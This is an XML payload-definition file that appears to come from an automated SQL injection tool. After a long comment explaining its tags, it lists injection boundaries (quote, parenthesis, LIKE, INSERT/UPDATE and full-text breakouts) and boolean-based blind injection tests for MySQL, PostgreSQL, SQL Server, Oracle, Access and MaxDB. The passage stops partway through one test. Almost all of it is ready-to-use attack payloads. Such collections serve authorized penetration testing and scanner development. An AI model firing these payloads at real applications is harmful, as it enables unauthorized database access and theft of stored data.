<?xml version="1.0" encoding="UTF-8"?>

<!--

Tag: <boundary>

How to prepend and append to the test ' <payload><comment> ' string.

Sub-tag: <level>

From which level check for this test.

Valid values:

1: Always (<100 requests)

2: Try a bit harder (100-200 requests)

3: Good number of requests (200-500 requests)

4: Extensive test (500-1000 requests)

5: You have plenty of time (>1000 requests)

Sub-tag: <clause>

In which clause the payload can work.

NOTE: for instance, there are some payload that do not have to be

tested as soon as it has been identified whether or not the

injection is within a WHERE clause condition.

Valid values:

0: Always

1: WHERE / HAVING

2: GROUP BY

3: ORDER BY

4: LIMIT

5: OFFSET

6: TOP

7: Table name

8: Column name

A comma separated list of these values is also possible.

Sub-tag: <where>

Where to add our '<prefix> <payload><comment> <suffix>' string.

Valid values:

1: When the value of <test>'s <where> is 1.

2: When the value of <test>'s <where> is 2.

3: When the value of <test>'s <where> is 3.

A comma separated list of these values is also possible.

Sub-tag: <ptype>

What is the parameter value type.

Valid values:

1: Unescaped numeric

2: Single quoted string

3: LIKE single quoted string

4: Double quoted string

5: LIKE double quoted string

Sub-tag: <prefix>

A string to prepend to the payload.

Sub-tag: <suffix>

A string to append to the payload.

Tag: <test>

SQL injection test definition.

Sub-tag: <title>

Title of the test.

Sub-tag: <stype>

SQL injection family type.

Valid values:

0: Heuristic check to parse response errors

1: Boolean-based blind SQL injection

2: Error-based SQL injection

3: UNION query SQL injection

4: Stacked queries SQL injection

5: AND/OR time-based blind SQL injection

Sub-tag: <level>

From which level check for this test.

Valid values:

1: Always (<100 requests)

2: Try a bit harder (100-200 requests)

3: Good number of requests (200-500 requests)

4: Extensive test (500-1000 requests)

5: You have plenty of time (>1000 requests)

Sub-tag: <risk>

Likelihood of a payload to damage the data integrity.

Valid values:

0: No risk

1: Low risk

2: Medium risk

3: High risk

Sub-tag: <clause>

In which clause the payload can work.

NOTE: for instance, there are some payload that do not have to be

tested as soon as it has been identified whether or not the

injection is within a WHERE clause condition.

Valid values:

0: Always

1: WHERE / HAVING

2: GROUP BY

3: ORDER BY

4: LIMIT

5: OFFSET

6: TOP

7: Table name

8: Column name

A comma separated list of these values is also possible.

Sub-tag: <where>

Where to add our '<prefix> <payload><comment> <suffix>' string.

Valid values:

1: Append the string to the parameter original value

2: Replace the parameter original value with a negative random

integer value and append our string

3: Replace the parameter original value with our string

Sub-tag: <vector>

The payload that will be used to exploit the injection point.

Sub-tag: <request>

What to inject for this test.

Sub-tag: <payload>

The payload to test for.

Sub-tag: <comment>

Comment to append to the payload, before the suffix.

Sub-tag: <char>

Character to use to bruteforce number of columns in UNION

query SQL injection tests.

Sub-tag: <columns>

Range of columns to test for in UNION query SQL injection

tests.

Sub-tag: <response>

How to identify if the injected payload succeeded.

Sub-tag: <comparison>

Perform a request with this string as the payload and compare

the response with the <payload> response. Apply the comparison

algorithm.

NOTE: useful to test for boolean-based blind SQL injections.

Sub-tag: <grep>

Regular expression to grep for in the response body.

NOTE: useful to test for error-based SQL injection.

Sub-tag: <time>

Time in seconds to wait before the response is returned.

NOTE: useful to test for time-based blind and stacked queries

SQL injections.

Sub-tag: <union>

Calls unionTest() function.

NOTE: useful to test for UNION query (inband) SQL injection.

Sub-tag: <oob>

# TODO

Sub-tag: <details>

Which details can be infered if the payload succeed.

Sub-tags: <dbms>

What is the database management system (e.g. MySQL).

Sub-tags: <dbms_version>

What is the database management system version (e.g. 5.0.51).

Sub-tags: <os>

What is the database management system underlying operating

system.

Formats:

<boundary>

<level></level>

<clause></clause>

<where></where>

<ptype></ptype>

<prefix></prefix>

<suffix></suffix>

</boundary>

<test>

<title></title>

<stype></stype>

<level></level>

<risk></risk>

<clause></clause>

<where></where>

<vector></vector>

<request>

<payload></payload>

<comment></comment>

<char></char>

<columns></columns>

</request>

<response>

<comparison></comparison>

<grep></grep>

<time></time>

<union></union>

<oob></oob>

</response>

<details>

<dbms></dbms>

<dbms_version></dbms_version>

<os></os>

</details>

</test>

-->

<root>

<!-- Generic boundaries -->

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>1</ptype>

<prefix>)</prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>')</prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>'</prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1,2</where>

<ptype>4</ptype>

<prefix>"</prefix>

<suffix></suffix>

</boundary>

<!-- End of generic boundaries -->

<!-- WHERE/HAVING clause boundaries -->

<boundary>

<level>1</level>

<clause>1</clause>

<where>1,2</where>

<ptype>1</ptype>

<prefix>)</prefix>

<suffix>AND ([RANDNUM]=[RANDNUM]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>1</ptype>

<prefix>))</prefix>

<suffix>AND (([RANDNUM]=[RANDNUM]</suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>1</ptype>

<prefix>)))</prefix>

<suffix>AND ((([RANDNUM]=[RANDNUM]</suffix>

</boundary>

<boundary>

<level>1</level>

<clause>0</clause>

<where>1,2,3</where>

<ptype>1</ptype>

<prefix></prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>1</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>')</prefix>

<suffix>AND ('[RANDSTR]'='[RANDSTR]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>'))</prefix>

<suffix>AND (('[RANDSTR]'='[RANDSTR]</suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>')))</prefix>

<suffix>AND ((('[RANDSTR]'='[RANDSTR]</suffix>

</boundary>

<boundary>

<level>1</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>'</prefix>

<suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>3</ptype>

<prefix>')</prefix>

<suffix>AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>3</ptype>

<prefix>'))</prefix>

<suffix>AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>3</ptype>

<prefix>')))</prefix>

<suffix>AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>3</ptype>

<prefix>'</prefix>

<suffix>AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>4</ptype>

<prefix>")</prefix>

<suffix>AND ("[RANDSTR]"="[RANDSTR]</suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>4</ptype>

<prefix>"))</prefix>

<suffix>AND (("[RANDSTR]"="[RANDSTR]</suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>4</ptype>

<prefix>")))</prefix>

<suffix>AND ((("[RANDSTR]"="[RANDSTR]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>4</ptype>

<prefix>"</prefix>

<suffix>AND "[RANDSTR]"="[RANDSTR]</suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>5</ptype>

<prefix>")</prefix>

<suffix>AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>5</ptype>

<prefix>"))</prefix>

<suffix>AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1,2</where>

<ptype>5</ptype>

<prefix>")))</prefix>

<suffix>AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>5</ptype>

<prefix>"</prefix>

<suffix>AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>

</boundary>

<boundary>

<level>2</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>%')</prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>3</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>%'))</prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>%')))</prefix>

<suffix></suffix>

</boundary>

<boundary>

<level>1</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>%'</prefix>

<suffix></suffix>

</boundary>

<!-- End of WHERE/HAVING clause boundaries -->

<!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->

<boundary>

<level>5</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>') WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>-- </suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>-- </suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>1</ptype>

<prefix>) WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>-- </suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>2</ptype>

<prefix>' WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>-- </suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1,2</where>

<ptype>4</ptype>

<prefix>" WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>-- </suffix>

</boundary>

<boundary>

<level>4</level>

<clause>1</clause>

<where>1,2</where>

<ptype>1</ptype>

<prefix> WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>-- </suffix>

</boundary>

<!-- End of pre-WHERE generic boundaries -->

<!-- INSERT/UPDATE generic boundaries (e.g. "INSERT INTO table VALUES ('$_REQUEST["name"]',...)"-->

<boundary>

<level>5</level>

<clause>1</clause>

<where>1</where>

<ptype>2</ptype>

<prefix>||(SELECT [RANDNUM1] FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>)||</suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1</where>

<ptype>2</ptype>

<prefix>||(SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>)||</suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1</where>

<ptype>2</ptype>

<prefix>'||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>)||'</suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1</where>

<ptype>2</ptype>

<prefix>'||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>)||'</suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1</where>

<ptype>1</ptype>

<prefix>+(SELECT [RANDNUM1] WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>)</suffix>

</boundary>

<boundary>

<level>5</level>

<clause>1</clause>

<where>1</where>

<ptype>2</ptype>

<prefix>'+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>

<suffix>)+'</suffix>

</boundary>

<!-- End of INSERT/UPDATE generic boundaries -->

<!-- AGAINST boolean full-text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext-boolean.html) -->

<boundary>

<level>4</level>

<clause>1</clause>

<where>1</where>

<ptype>2</ptype>

<prefix>' IN BOOLEAN MODE)</prefix>

<suffix>#</suffix>

</boundary>

<!-- End of AGAINST boolean full-text search boundaries -->

<!-- Boolean-based blind tests - WHERE/HAVING clause -->

<test>

<title>AND boolean-based blind - WHERE or HAVING clause</title>

<stype>1</stype>

<level>1</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

<test>

<title>AND boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

<comment>#</comment>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>AND [INFERENCE]</vector>

<request>

<payload>AND [RANDNUM]=[RANDNUM]</payload>

<comment>-- </comment>

</request>

<response>

<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>

</response>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause</title>

<stype>1</stype>

<level>2</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR ([INFERENCE])</vector>

<request>

<payload>OR ([RANDNUM]=[RANDNUM])</payload>

</request>

<response>

<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>

</response>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause (MySQL comment)</title>

<stype>1</stype>

<level>3</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR ([INFERENCE])</vector>

<request>

<payload>OR ([RANDNUM]=[RANDNUM])</payload>

<comment>#</comment>

</request>

<response>

<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>OR boolean-based blind - WHERE or HAVING clause (Generic comment)</title>

<stype>1</stype>

<level>3</level>

<risk>3</risk>

<clause>1</clause>

<where>2</where>

<vector>OR ([INFERENCE])</vector>

<request>

<payload>OR ([RANDNUM]=[RANDNUM])</payload>

<comment>-- </comment>

</request>

<response>

<comparison>OR ([RANDNUM]=[RANDNUM1])</comparison>

</response>

</test>

<test>

<title>MySQL boolean-based blind - WHERE or HAVING clause (RLIKE)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1</clause>

<where>1</where>

<vector>RLIKE IF([INFERENCE],[ORIGVALUE],0x28)</vector>

<request>

<payload>RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28)</payload>

</request>

<response>

<comparison>RLIKE IF([RANDNUM]=[RANDNUM],[ORIGVALUE],0x28)</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<!-- End of boolean-based blind tests - WHERE or HAVING clause -->

<!-- Boolean-based blind tests - Parameter replace -->

<test>

<title>Generic boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>2</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>

</response>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>MAKE_SET([INFERENCE],[ORIGVALUE])</vector>

<request>

<payload>MAKE_SET([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>

</request>

<response>

<comparison>MAKE_SET([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (ELT - original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>ELT([INFERENCE],[ORIGVALUE])</vector>

<request>

<payload>ELT([RANDNUM]=[RANDNUM],[ORIGVALUE])</payload>

</request>

<response>

<comparison>ELT([RANDNUM]=[RANDNUM1],[ORIGVALUE])</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL boolean-based blind - Parameter replace (bool*int - original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>([INFERENCE])*[ORIGVALUE]</vector>

<request>

<payload>([RANDNUM]=[RANDNUM])*[ORIGVALUE]</payload>

</request>

<response>

<comparison>([RANDNUM]=[RANDNUM1])*[ORIGVALUE]</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>MySQL &gt;= 5.0 boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&gt;= 5.0</dbms_version>

</details>

</test>

<test>

<title>MySQL &lt; 5.0 boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

</details>

</test>

<test>

<title>PostgreSQL boolean-based blind - Parameter replace (GENERATE_SERIES - original value)</title>

<stype>1</stype>

<level>3</level>

<risk>2</risk>

<clause>1,2,3</clause>

<where>3</where>

<vector>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)</vector>

<request>

<payload>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)</payload>

</request>

<response>

<comparison>(SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 0 END) LIMIT 1)</comparison>

</response>

<details>

<dbms>PostgreSQL</dbms>

</details>

</test>

<test>

<title>Microsoft SQL Server/Sybase boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))</comparison>

</response>

<details>

<dbms>Microsoft SQL Server</dbms>

<dbms>Sybase</dbms>

<os>Windows</os>

</details>

</test>

<test>

<title>Oracle boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>

<request>

<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>

</request>

<response>

<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>

</response>

<details>

<dbms>Oracle</dbms>

</details>

</test>

<test>

<title>Microsoft Access boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>

<request>

<payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>

</request>

<response>

<comparison>IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>

</response>

<details>

<dbms>Microsoft Access</dbms>

</details>

</test>

<test>

<title>SAP MaxDB boolean-based blind - Parameter replace (original value)</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>1,3</clause>

<where>3</where>

<vector>(CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)</vector>

<request>

<payload>(CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)</payload>

</request>

<response>

<comparison>(CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END)</comparison>

</response>

<details>

<dbms>SAP MaxDB</dbms>

</details>

</test>

<!-- End of boolean-based blind tests - Parameter replace -->

<!-- Boolean-based blind tests - GROUP BY and ORDER BY clauses -->

<test>

<title>Generic boolean-based blind - GROUP BY and ORDER BY clauses</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>

</response>

</test>

<test>

<title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>

<stype>1</stype>

<level>4</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>

</response>

</test>

<test>

<title>MySQL &gt;= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses</title>

<stype>1</stype>

<level>3</level>

<risk>1</risk>

<clause>2,3</clause>

<where>1</where>

<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector>

<request>

<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload>

</request>

<response>

<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</comparison>

</response>

<details>

<dbms>MySQL</dbms>

<dbms_version>&gt;= 5.0</dbms_version>